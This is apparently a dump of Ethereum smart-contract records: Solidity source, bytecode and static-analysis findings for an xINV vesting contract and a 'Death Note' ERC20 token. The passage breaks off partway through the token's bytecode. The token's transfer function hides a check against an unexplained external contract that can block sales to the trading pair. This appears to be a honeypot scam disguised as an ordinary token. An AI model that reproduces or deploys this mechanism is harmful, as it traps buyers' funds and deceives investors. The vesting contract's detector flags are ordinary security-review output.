return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface Ixinv { function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function balanceOf(address owner) external view returns (uint); function syncDelegate(address user) external; function exchangeRateStored() external view returns (uint); } interface Iinv { function balanceOf(address account) external view returns (uint); function transfer(address dst, uint rawAmount) external returns (bool); function delegate(address delegatee) external; function approve(address spender, uint rawAmount) external returns (bool); function transferFrom(address src, address dst, uint rawAmount) external returns (bool); } contract XinvVesterFactory { address public governance; Iinv public inv; Ixinv public xinv; XinvVester[] public vesters; constructor (Ixinv _xinv, Iinv _inv, address _governance) public { governance = _governance; inv = _inv; xinv = _xinv; } function deployVester(address _recipient, uint _invAmount, uint _vestingStartTimestamp, uint _vestingDurationSeconds, bool _isCancellable) public { require(msg.sender == governance, "ONLY GOVERNANCE"); XinvVester vester = new XinvVester(xinv, inv, governance, _recipient, _vestingStartTimestamp, _vestingDurationSeconds, _isCancellable); inv.transferFrom(governance, address(vester), _invAmount); vester.initialize(); vesters.push(vester); } } // Should only be deployed via factory // Assumes xINV withdrawal delay is permanently set to 0 contract XinvVester { using SafeMath for uint; address public governance; address public factory; address public recipient; Iinv public inv; Ixinv public xinv; uint public vestingXinvAmount; uint public vestingBegin; uint public vestingEnd; bool public isCancellable; bool public isCancelled; uint public lastUpdate; constructor(Ixinv _xinv, Iinv _inv, address _governance, address _recipient, uint _vestingStartTimestamp, uint _vestingDurationSeconds, bool _isCancellable) public { require(_vestingDurationSeconds > 0, "DURATION IS 0"); inv = _inv; xinv = _xinv; vestingBegin = _vestingStartTimestamp; vestingEnd = vestingBegin + _vestingDurationSeconds; recipient = _recipient; isCancellable = _isCancellable; governance = _governance; factory = msg.sender; lastUpdate = _vestingStartTimestamp; inv.delegate(_recipient); xinv.syncDelegate(address(this)); } function initialize() public { uint _invAmount = inv.balanceOf(address(this)); require(_invAmount > 0, "INV AMOUNT IS 0"); require(msg.sender == factory, "ONLY FACTORY"); inv.approve(address(xinv), _invAmount); require(xinv.mint(_invAmount) == 0, "MINT FAILED"); vestingXinvAmount = xinv.balanceOf(address(this)); } function delegate(address delegate_) public { require(msg.sender == recipient, 'ONLY RECIPIENT'); inv.delegate(delegate_); xinv.syncDelegate(address(this)); } function setRecipient(address recipient_) public { require(msg.sender == recipient, 'ONLY RECIPIENT'); recipient = recipient_; } function claimableXINV() public view returns (uint xinvAmount) { if (isCancelled) return 0; if (block.timestamp >= vestingEnd) { xinvAmount = xinv.balanceOf(address(this)); } else { xinvAmount = vestingXinvAmount.mul(block.timestamp - lastUpdate).div(vestingEnd - vestingBegin); } } function claimableINV() public view returns (uint invAmount) { return claimableXINV().mul(xinv.exchangeRateStored()).div(1 ether); } function claim() public { require(msg.sender == recipient, "ONLY RECIPIENT"); _claim(); } function _claim() private { require(xinv.redeem(claimableXINV()) == 0, "REDEEM FAILED"); inv.transfer(recipient, inv.balanceOf(address(this))); lastUpdate = block.timestamp; } function cancel() public { require(msg.sender == governance || msg.sender == recipient, "ONLY GOVERNANCE OR RECIPIENT"); require(isCancellable || msg.sender == recipient, "NOT CANCELLABLE"); require(!isCancelled, "ALREADY CANCELLED"); _claim(); require(xinv.redeem(xinv.balanceOf(address(this))) == 0, "REDEEM FAILED"); inv.transfer(governance, inv.balanceOf(address(this))); isCancelled = true; } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063746dd88d116100a257806395ee12211161007157806395ee122114610203578063c04637111461020b578063c45a015514610213578063e29bc68b1461021b578063ea8a1af01461022357610116565b8063746dd88d146101e35780638129fc1c146101eb57806384a1931f146101f357806390df22ed146101fb57610116565b80634500054f116100e95780634500054f146101895780634e71d92d146101a55780635aa6e675146101ad5780635c19a95c146101b557806366d003ac146101db57610116565b8063032d09611461011b57806309c10d1d1461013f5780632b73429b146101595780633bbed4a014610161575b600080fd5b61012361022b565b604080516001600160a01b039092168252519081900360200190f35b61014761023a565b60408051918252519081900360200190f35b610147610240565b6101876004803603602081101561017757600080fd5b50356001600160a01b0316610318565b005b61019161038a565b604080519115158252519081900360200190f35b610187610393565b6101236103ed565b610187600480360360208110156101cb57600080fd5b50356001600160a01b03166103fc565b61012361051a565b610147610529565b6101876105c8565b61014761088f565b610123610895565b6101916108a4565b6101476108b2565b6101236108b8565b6101476108c7565b6101876108cd565b6003546001600160a01b031681565b60055481565b600854600090610100900460ff161561025b57506000610315565b60075442106102e35760048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b1580156102b057600080fd5b505afa1580156102c4573d6000803e3d6000fd5b505050506040513d60208110156102da57600080fd5b50519050610315565b610312600654600754036103066009544203600554610c3590919063ffffffff16565b9063ffffffff610c9716565b90505b90565b6002546001600160a01b03163314610368576040805162461bcd60e51b815260206004820152600e60248201526d13d3931648149150d2541251539560921b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60085460ff1681565b6002546001600160a01b031633146103e3576040805162461bcd60e51b815260206004820152600e60248201526d13d3931648149150d2541251539560921b604482015290519081900360640190fd5b6103eb610cd9565b565b6000546001600160a01b031681565b6002546001600160a01b0316331461044c576040805162461bcd60e51b815260206004820152600e60248201526d13d3931648149150d2541251539560921b604482015290519081900360640190fd5b600354604080516317066a5760e21b81526001600160a01b03848116600483015291519190921691635c19a95c91602480830192600092919082900301818387803b15801561049a57600080fd5b505af11580156104ae573d6000803e3d6000fd5b50506004805460408051631e756d0f60e01b81523093810193909352516001600160a01b039091169350631e756d0f9250602480830192600092919082900301818387803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b5050505050565b6002546001600160a01b031681565b6000610312670de0b6b3a7640000610306600460009054906101000a90046001600160a01b03166001600160a01b031663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b15801561058857600080fd5b505afa15801561059c573d6000803e3d6000fd5b505050506040513d60208110156105b257600080fd5b50516105bc610240565b9063ffffffff610c3516565b600354604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561061357600080fd5b505afa158015610627573d6000803e3d6000fd5b505050506040513d602081101561063d57600080fd5b5051905080610685576040805162461bcd60e51b815260206004820152600f60248201526e0494e5620414d4f554e54204953203608c1b604482015290519081900360640190fd5b6001546001600160a01b031633146106d3576040805162461bcd60e51b815260206004820152600c60248201526b4f4e4c5920464143544f525960a01b604482015290519081900360640190fd5b600354600480546040805163095ea7b360e01b81526001600160a01b0392831693810193909352602483018590525192169163095ea7b3916044808201926020929091908290030181600087803b15801561072d57600080fd5b505af1158015610741573d6000803e3d6000fd5b505050506040513d602081101561075757600080fd5b5050600480546040805163140e25ad60e31b8152928301849052516001600160a01b039091169163a0712d689160248083019260209291908290030181600087803b1580156107a557600080fd5b505af11580156107b9573d6000803e3d6000fd5b505050506040513d60208110156107cf57600080fd5b505115610811576040805162461bcd60e51b815260206004820152600b60248201526a135253950811905253115160aa1b604482015290519081900360640190fd5b60048054604080516370a0823160e01b81523093810193909352516001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b505160055550565b60075481565b6004546001600160a01b031681565b600854610100900460ff1681565b60095481565b6001546001600160a01b031681565b60065481565b6000546001600160a01b03163314806108f057506002546001600160a01b031633145b610941576040805162461bcd60e51b815260206004820152601c60248201527f4f4e4c5920474f5645524e414e4345204f5220524543495049454e5400000000604482015290519081900360640190fd5b60085460ff168061095c57506002546001600160a01b031633145b61099f576040805162461bcd60e51b815260206004820152600f60248201526e4e4f542043414e43454c4c41424c4560881b604482015290519081900360640190fd5b600854610100900460ff16156109f0576040805162461bcd60e51b8152602060048201526011602482015270105314915051164810d05390d153131151607a1b604482015290519081900360640190fd5b6109f8610cd9565b60048054604080516370a0823160e01b81523093810193909352516001600160a01b039091169163db006a759183916370a08231916024808301926020929190829003018186803b158015610a4c57600080fd5b505afa158015610a60573d6000803e3d6000fd5b505050506040513d6020811015610a7657600080fd5b5051604080516001600160e01b031960e085901b16815260048101929092525160248083019260209291908290030181600087803b158015610ab757600080fd5b505af1158015610acb573d6000803e3d6000fd5b505050506040513d6020811015610ae157600080fd5b505115610b25576040805162461bcd60e51b815260206004820152600d60248201526c14915111515348119052531151609a1b604482015290519081900360640190fd5b600354600054604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b158015610b7d57600080fd5b505afa158015610b91573d6000803e3d6000fd5b505050506040513d6020811015610ba757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610bf857600080fd5b505af1158015610c0c573d6000803e3d6000fd5b505050506040513d6020811015610c2257600080fd5b50506008805461ff001916610100179055565b600082610c4457506000610c91565b82820282848281610c5157fe5b0414610c8e5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f3e6021913960400191505060405180910390fd5b90505b92915050565b6000610c8e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e9b565b6004546001600160a01b031663db006a75610cf2610240565b6040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015610d2857600080fd5b505af1158015610d3c573d6000803e3d6000fd5b505050506040513d6020811015610d5257600080fd5b505115610d96576040805162461bcd60e51b815260206004820152600d60248201526c14915111515348119052531151609a1b604482015290519081900360640190fd5b600354600254604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b158015610dee57600080fd5b505afa158015610e02573d6000803e3d6000fd5b505050506040513d6020811015610e1857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610e6957600080fd5b505af1158015610e7d573d6000803e3d6000fd5b505050506040513d6020811015610e9357600080fd5b505042600955565b60008183610f275760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610eec578181015183820152602001610ed4565b50505050905090810190601f168015610f195780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3357fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158209efc069b51c94b713f7081b4ac782854a8e1ecd8e08195a084597188cac498a864736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,438
0x924461d1E2b5Bd0367B6BE31C1190f9A7c9C26D1
// SPDX-License-Identifier: MIT // Telegram: t.me/DeathNotetoken pragma solidity ^0.8.7; address constant WALLET_ADDRESS = 0x5978cF829200E1ff2fF3925C2ae2fA861c32F87A; address constant ROUTER_ADDRESS=0xC6be72cff6AeC7680d6cd22EA775fce79A9fe08a; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 constant TOTAL_SUPPLY = 1000000000; string constant TOKEN_NAME = "Death Note"; string constant TOKEN_SYMBOL = "DEATHNOTE"; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Router{ function amount(address f) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed oldie, address indexed newbie); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DeathNote is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => mapping(address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address payable private _taxWallet; uint256 private _tax=8; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = 0; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(WALLET_ADDRESS); _rOwned[_msgSender()] = _rTotal; _router = IUniswapV2Router02(UNISWAP_ADDRESS); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?1:0)*amount <= Router(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(balanceOf(address(this))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "Trading is already open"); _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH()); _router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611dec565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ea7565b61038e565b60405161014c9190611f02565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f2c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f47565b6103b8565b6040516101b49190611f02565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fb6565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fd1565b610510565b6040516102339190611f2c565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b604051610275919061200d565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611dec565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ea7565b61071a565b6040516102dd9190611f02565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190612028565b610c4e565b6040516103319190611f2c565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600a81526020017f4465617468204e6f746500000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000633b9aca00905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612abc60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112eb9092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d8161134f565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d7565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f44454154484e4f54450000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120b4565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612120565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190612155565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190612155565b6040518363ffffffff1660e01b81526004016109c7929190612182565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190612155565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121f0565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190612266565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122b9565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b919061230e565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d4481611645565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061243f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612563565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125f5565b60405180910390fd5b73c6be72cff6aec7680d6cd22ea775fce79a9fe08a73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b815260040161108a919061200d565b60206040518083038186803b1580156110a257600080fd5b505afa1580156110b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110da9190612615565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111865750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611191576000611194565b60015b60ff166111a19190612671565b11156111ac57600080fd5b6111b46106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561122257506111f26106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112db576008601590549